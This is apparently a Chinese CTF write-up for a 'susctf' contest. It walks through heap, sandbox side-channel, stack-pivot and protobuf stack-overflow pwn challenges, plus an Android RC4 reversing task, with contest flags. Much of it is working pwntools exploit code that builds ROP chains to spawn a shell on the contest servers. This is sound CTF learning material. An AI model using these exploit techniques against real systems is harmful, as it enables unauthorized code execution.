密码爆零了QAQ,pwn的话利用点比较简单,但是挖洞和逆向的过程非常有趣,而且题目本身出的难度不大(除了内核题。)
PWN
babyHeap
babyHeap-分析
做出来的时候就在想是不是非预期了,结合出题人给的提示,我应该是非预期手法做的。非预期手法其实根本不需要打tcache_attack
。非预期的利用点在上海磐石中有考过,我也把这题作为stdout利用的例题之一了。IO利用之stdout任意读 | iyheart的博客
先查看保护机制,发现保护全开。
看看IDA pro
反编译的这个程序代码,经典的堆菜单题。
漏洞点有两个,第一个在delete
这边,存在一个UAF
漏洞
这里我只使用数组越界,不用堆的打法。这里先是数组越界到-8
这边,修改stdout
结构体,可以泄露libc
的地址。
然后再使用一次数组越界,继续修改stdout
,此时泄露environ
这个保存在libc中的变量,该变量存储的值其实就是栈地址。
这样libc、栈
这两个地址都有了,然后需要确定调用edit
时返回地址存放的栈地址。
接下来就是最关键的一个点,这个点其实在8
月份的上海磐石就已经考过了。在索引-11
的这个地方,有一个自己指向自己的.data
段。这就给我们提供了一次任意地址写的机会。
此时可以先调用edit()
将0x564aef61d008 ◂— 0x564aef61d008
,修改成0x564aef61d008 —▸ stack_addr
之后再调用edit
,此时这样就可以直接修改返回地址,还可以绕过canary
。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *for i in range (100 ): p = remote('106.14.191.23' ,53057 ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) context.log_level = 'debug' def add (content ): p.sendlineafter(b'choice:' ,b'1' ) p.sendafter(b'user name:' ,content) def delete (idx ): p.sendlineafter(b'choice:' ,b'2' ) p.sendlineafter(b'enter user id: ' ,str (idx).encode()) def show (idx ): p.sendlineafter(b'choice:' ,b'3' ) p.sendlineafter(b'enter user id: ' ,str (idx).encode()) def edit (idx,content ): p.sendlineafter(b'choice:' ,b'4' ) p.sendlineafter(b'enter user id: ' ,str (idx).encode()) p.sendafter(b'[+] enter new user name: ' ,content) add(b'a' *8 ) delete(0 ) show(0 ) p.recvuntil(b'username: ' ) leak = p.recvline()[:-1 ] print ('[+] leak:' ,leak) leak = u64(leak.ljust(8 ,b'\x00' )) key = leak print ('[+] key:' ,hex (key)) print ('[+] leak:' ,hex (leak)) heap_one = leak*(2 **12 ) + 0x2a0 heap_base = heap_one - 0x12a0 print ('heap_one:' ,hex (heap_one)) print ('heap_base:' ,hex (heap_base)) payload = p64(0xFBDA1800 ) + p64(0 )*3 + p16(0x00 ) edit(-8 ,payload) sleep(0.1 ) libc_leak = p.recvuntil(b'\x7f' )[-6 :] print ('libc_leak----->' ,libc_leak) libc_leak = u64(libc_leak.ljust(8 ,b'\x00' )) print ('libc_leak----->' ,hex (libc_leak)) pause() if libc_leak & 0xfff == 0x150 : p.recvuntil(b'create' ) print ('libc_leak----->' ,hex (libc_leak)) libc_base = libc_leak - 0xf150 - 0x21A000 elif libc_leak & 0xfff == 0x87c : p.recvuntil(b'create' ) print ('libc_leak----->' ,hex (libc_leak)) libc_base = libc_leak - 0x87c - 0x1E2000 elif libc_leak & 0xfff == 0xff0 : p.recvuntil(b'create' ) print ('libc_leak----->' ,hex (libc_leak)) libc_base = libc_leak - 0x8BFF0 elif libc_leak & 0xfff == 0x580 : p.recvuntil(b'create' ) print ('libc_leak----->' ,hex (libc_leak)) libc_base = libc_leak - 0x21B580 else : p.close() continue environ = libc_base + libc.sym['environ' ] print ('[+] environ_addr:' ,hex (environ)) payload = p64(0xFBDA1800 ) + p64(0 )*3 + p64(environ) + p64(environ+8 ) edit(-8 ,payload) stack_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print ('[+] stack_addr:' ,hex (stack_addr)) ret_addr = stack_addr - 0x140 edit(-11 ,p64(ret_addr)) system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh\x00' )) pop_rdi = libc_base + 0x2a3e5 ret = libc_base + 0x29139 payload = p64(ret)+p64(pop_rdi) + p64(binsh_addr)+ p64(system_addr) pause() edit(-11 ,payload) p.interactive()
babyHeap-flag
1 susctf{th1s_1s_6a6y_h4@p_6842e397e2cb}
jail
真服了这题,原来是静态flag,一直舍不得重置靶机,导致后面死循环进程原来越多,爆破起来非常不流畅。然后重置一回靶机再进行爆破发现非常流畅QAQ,要是在这题花少点时间,估计还可以把密码签到题牢出来的QAQ。
jail-分析
看看沙箱,沙箱出来啥也没有,但是发现是通过prctl()
禁用的沙箱。没有仔细了解prctl()
的参数,但是平时做沙箱题的时候,会发现使用prctl()
开的沙箱的程序。该程序使用seccomp-tools
查看禁用规则常常会和输出结果相反。
这题查看的规则是什么都没禁用,那就当他什么都被禁用了,没办法直接打印,那就侧信道爆破,而且flag
已经被读到内存中了。
调试的时候会发现存放flag
的内存地址在栈上有出现,这样就非常好办了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload = asm(f""" pop rdi pop rdi pop rdi pop rdi pop rbx mov al,0x66 aaa: cmp al,byte ptr [rbx+1] nop nop nop nop nop nop nop je aaa """ )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *import stringgdbscript=r""" b *$rebase(0x1447) set follow-fork-mode child """ flag = "susctf{71m3_w1ll_t3ll_" x = "_}" +string.digits + string.ascii_letters + "}" print (x)candidate = '0123456789abcdef_ABCDEFGHIJKLMNOPQRSTUVWXYZghijklmnopqrstuvwxyz{}' for i in range (len (flag),0x80 ): for j in x: print (f"在爆破第{i} 个字符,尝试字符{j} ,此时flag为{flag} " ) p = remote('106.14.191.23' ,59387 ) context.arch = 'amd64' if i == 0 : payload = b'____[\xb0' +j.encode()+b':\x03\x90\x90\x90\x90\x90\x90\x90t\xf5' else : payload = b'____[\xb0' +j.encode()+b':C' + i.to_bytes(1 ,'big' ) + b'\x90\x90\x90\x90\x90\x90\x90t\xf4' p.sendafter(b'Input your code :' ,payload) p.recvuntil(b'jail :' ) try : p.recvuntil(b'aaasda' ,timeout=3.5 ) flag += j print ('flag----->' ,flag) sleep(0.5 ) p.close() break except : p.close() continue
jail-flag
1 susctf{71m3_w1ll_t3ll_fd9cb0c12d4d}
monitor
这题也折磨了好久,太久没打pwn都在学密码,手生了,再加上自己做题本来就慢。
monitor-分析
这题给了一个程序附件,还给了一个自己编写的动态链接库。
然后直接分析程序,程序的大致逻辑就是:
输入一个文件名,程序可以读取这个文件(有waf,会检查文件路径,是否存在../
、./
、/
),并且将这个文件内容前0x1000
字节读取到内存里面去,并且还会将文件的内容输出出来。
还会检查将要输出的内容是否有子字符串susctf
,如果存在该子字符串就会提示要不要继续输出。继续输出的话程序会崩溃,而不输出,该字符串仍然会被保留在内存中。
还有就是输入exit.run
会退出程序。
这里的漏洞点其实在这个地方,当时还以为只能off-by-null
,但其实是off-by-one
但是要怎么泄露呢?在运行一次这个程序就会发现,当前文件路径下会多了一个log.txt
,相当于文件write
、read
、open
的日志。log.txt
只会存放着liblayer.so的地址
和程序的基地址
,还会泄露栈地址
。
并且此时可以进行off-by-one
利用这样就可以进行栈迁移,而栈地址又泄露出来,直接栈迁移到栈上,比较有操作性。并且在调试的时候还选用了如下的gadget
,发现call 0x5fe9
不会使得程序崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *p = process('./monitor' ) context.log_level = 'debug' payload = b'aaa' pause() p.sendlineafter(b'What file you want open?\n' ,payload) p.sendlineafter(b'What file you want open?\n' ,b'log.txt' ) p.recvuntil(b'this file.\n' ) leak_libc = p.recvuntil(b', request' )[-23 :-9 ].decode() leak_pie = p.recvuntil(b', request' )[-23 :-9 ].decode() p.recvuntil(b', request' ) p.recvuntil(b', request' ) leak_stack = p.recvuntil(b', request' )[-23 :-9 ].decode() leak_libc = int (leak_libc,16 ) leak_stack = int (leak_stack,16 ) leak_pie = int (leak_pie,16 ) print ('[+]leak_libc----->' ,hex (leak_libc))print ('[+]leak_pie------>' ,hex (leak_pie))print ('[+]leak_stack---->' ,hex (leak_stack))libc_base = leak_libc - 0x71E8 pie_base = leak_pie - 0x20F0 content_stack = leak_stack - 0x2002 bss_addr = pie_base + 0x4000 + 0x500 mov_rdx = libc_base + 0x67b2 mov_edi = libc_base + 0x604c mov_rax_rdi = libc_base + 0x6209 mov_rsi = libc_base + 0x5030 print ('[+]libc_base:' ,hex (libc_base))print ('[+]pie_base:' ,hex (pie_base))print ('[+]content_stack:' ,hex (content_stack))p.sendline('flag' ) p.sendline(b'n' ) ret_stack = leak_stack + 0x86 gad_start = ret_stack - 0x80 + 0x8 print ("[+]gad_start:" ,hex (gad_start))payload = b'exit.run' +cyclic(0x6 +0x8 )+p64(mov_rdx)+p64(mov_edi) payload+= p64(ret_stack-0x8 )+p64(mov_rax_rdi)+p64(ret_stack-0x10 +0x120 )+p64(mov_rsi) payload+=cyclic(0x87 -0x9 -0x58 -0x6 )+p64(content_stack)+p64(0x50 )+p64(1 )+p64(gad_start)+p8(0x7f ) gdb.attach(p) pause() p.send(payload) p.interactive()
monitor-flag
1 susctf{1s_s4fe_t0_put_So_NNuch_Dat4_in_7he_l0g_0088e23e15df}
simple_message
大二的时候安装了一下protobuf
的环境,但是关于protobuf
的pwn和逆向当时鸽了,没学。这个是比赛的时候现学的。难点在逆向。
simple_message-分析
首先查看一下保护机制,没开pie
,这题是静态编译的,所以canary
这个检测是有错误的,实际上程序是有开启canary
保护的。
逆向过程不多说了,直接说漏洞点,漏洞点其实比较简单。在show()
函数这边,其实是有一个泄露的,buf
这边只有264字节
,而输出其实可以输出512
字节,这样就可以将canary
、stack_addr
给泄露出来了
而edit
这个函数里面是存在栈溢出漏洞的,难点主要在于逆向protobuf
结构体。
首先要确定protobuf
结构体在程序中的位置,直接定位message_unpack
这个函数的地址个参数,这个参数存放的就是protobuf
的一个结构体
在descriptor
下方其实就是我们消息的结构体,直接开始逆向message_name
、message_id
、message_lable
、message_type
其中command
还是个枚举类型,还需要逆向枚举类型
之后还原出结构体,使用protoc --python_out=. msg.proto
,将其编译成.py
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 syntax = "proto3" ; # 不知道是proto2还是proto3,直接就先使用proto3了 message msg { string username=1 ; string password=2 ; enum Command { CMD_UNKNOWN = 0 ; CMD_LOGIN = 1 ; CMD_ECHO = 2 ; CMD_PROCESS = 3 ; CMD_EXIT = 4 ; CMD_SHOW = 5 ; CMD_SPECIAL = 6 ; } Command command=3 ; bytes data=4 ; int32 size=5 ; }
之后还发现有system
和/bin/sh
,剩下的就没难度了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from os import systemfrom pwn import *import msg_pb2p = remote("106.14.191.23" ,52871 ) context.log_level = 'debug' def proto_echo (data,size ): msg = msg_pb2.msg() msg.username = "admin" msg.password = "P@ssw0rd123" msg.command = 2 msg.data = data msg.size = size return msg.SerializeToString() def proto_edit (data,size ): msg = msg_pb2.msg() msg.username = "admin" msg.password = "P@ssw0rd123" msg.command = 3 msg.data = data msg.size = size return msg.SerializeToString() def proto_show (data,size ): msg = msg_pb2.msg() msg.username = "admin" msg.password = "P@ssw0rd123" msg.command = 5 msg.data = data msg.size = size return msg.SerializeToString() def proto_hook (data,size ): msg = msg_pb2.msg() msg.username = "admin" msg.password = "P@ssw0rd123" msg.command = 6 msg.data = data msg.size = size return msg.SerializeToString() payload = proto_echo(b'aaa' ,100 ) payload = proto_edit(b'bbbb' ,100 ) payload = proto_show(b'aasdas' ,264 +8 +8 ) p.sendline(str (len (payload)).encode()) p.sendafter(b'> Enter message length:' ,payload) leak = p.recvuntil(b'> Enter message length:' )[-7 -0x20 -0x10 :-0x10 -0xa ] leak_stack = leak[-6 :] canary = leak[-6 -8 :-6 ] print ('[+] leak:' ,leak)print ('[+] leak_stack' ,leak_stack.hex ())print ('[+] canary:' ,canary.hex ())leak_stack = u64(leak_stack.ljust(8 ,b'\x00' )) canary = u64(canary) print ('[+] leak_stack' ,hex (leak_stack))print ('[+] canary' ,hex (canary))pop_rdi = 0x402748 ret = 0x40101a system_addr = 0x401FD0 sh_addr = 0x4C1125 payload = b'a' *0x108 + p64(canary) + p64(leak_stack)+p64(pop_rdi) + p64(sh_addr)+p64(system_addr) payload = proto_edit(payload,310 ) p.sendline(str (len (payload)).encode()) pause() p.send(payload) """ 0x0000000000402748 : pop rdi ; ret 0x000000000040101a : ret """ p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptorfrom google.protobuf import descriptor_pool as _descriptor_poolfrom google.protobuf import runtime_version as _runtime_versionfrom google.protobuf import symbol_database as _symbol_databasefrom google.protobuf.internal import builder as _builder_runtime_version.ValidateProtobufRuntimeVersion( _runtime_version.Domain.PUBLIC, 5 , 29 , 1 , '' , 'msg.proto' ) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\tmsg.proto\"\xdb\x01\n\x03msg\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\x12\x1d\n\x07\x63ommand\x18\x03 \x01(\x0e\x32\x0c.msg.Command\x12\x0c\n\x04\x64\x61ta\x18\x04 \x01(\x0c\x12\x0c\n\x04size\x18\x05 \x01(\x05\"u\n\x07\x43ommand\x12\x0f\n\x0b\x43MD_UNKNOWN\x10\x00\x12\r\n\tCMD_LOGIN\x10\x01\x12\x0c\n\x08\x43MD_ECHO\x10\x02\x12\x0f\n\x0b\x43MD_PROCESS\x10\x03\x12\x0c\n\x08\x43MD_EXIT\x10\x04\x12\x0c\n\x08\x43MD_SHOW\x10\x05\x12\x0f\n\x0b\x43MD_SPECIAL\x10\x06\x62\x06proto3' ) _globals = globals () _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals ) _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'msg_pb2' , _globals ) if not _descriptor._USE_C_DESCRIPTORS: DESCRIPTOR._loaded_options = None _globals ['_MSG' ]._serialized_start=14 _globals ['_MSG' ]._serialized_end=233 _globals ['_MSG_COMMAND' ]._serialized_start=116 _globals ['_MSG_COMMAND' ]._serialized_end=233
simple_message-flag
RE
android-native
android-native-分析
附件是一个apk
文件,并且题目是android-native
,应该主要考察的就是native
层的逆向。还是按照步骤一步一步来,先将apk安装到雷电模拟器后再打开。发现就是这么一个简单的界面。
然后再使用jadx
进行java
层的逆向,看看java
层有没一些细节的东西。然而并没有,flag
的判断逻辑全部都在native
层。
那就直接进行native
层的逆向分析,将apk
文件解压缩,翻到lib
文件夹,发现竟然有x86_64
的so
文件,那就直接逆向x86_64
的so
文件。还是x86_64
的汇编看得舒服。
使用IDA pro
反编译后发现加密逻辑主要就在这两个函数中。
而在sub_A60
这边会发现密文,并且密钥其实就是上面异或后的东西。并且根据特征与积累,再加上AI
分析一下基本上就能判断出sub_A60
就是一个RC4
加密算法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 c = "1m1r6rqro1l~dr" print (chr (ord (c[0 ])),end="" )print (chr (ord (c[1 ])^1 ),end="" )print (chr (ord (c[2 ])^1 ),end="" )print (chr (ord (c[3 ])^4 ),end="" )print (chr (ord (c[4 ])^5 ),end="" )print (chr (ord (c[5 ])^1 ),end="" )print (chr (ord (c[6 ])^4 ),end="" )print (chr (ord (c[7 ])^1 ),end="" )print (chr (ord (c[8 ])^9 ),end="" )print (chr (ord (c[9 ])^1 ),end="" )print (chr (ord (c[10 ])^9 ),end="" )print (chr (ord (c[11 ])^8 ),end="" )print (chr (ord (c[12 ])^1 ),end="" )print (chr (ord (c[13 ])),end="" )
android-native-flag
1 susctf{de094624-8f5b-44dc-8 10c-58132a2b5ea3}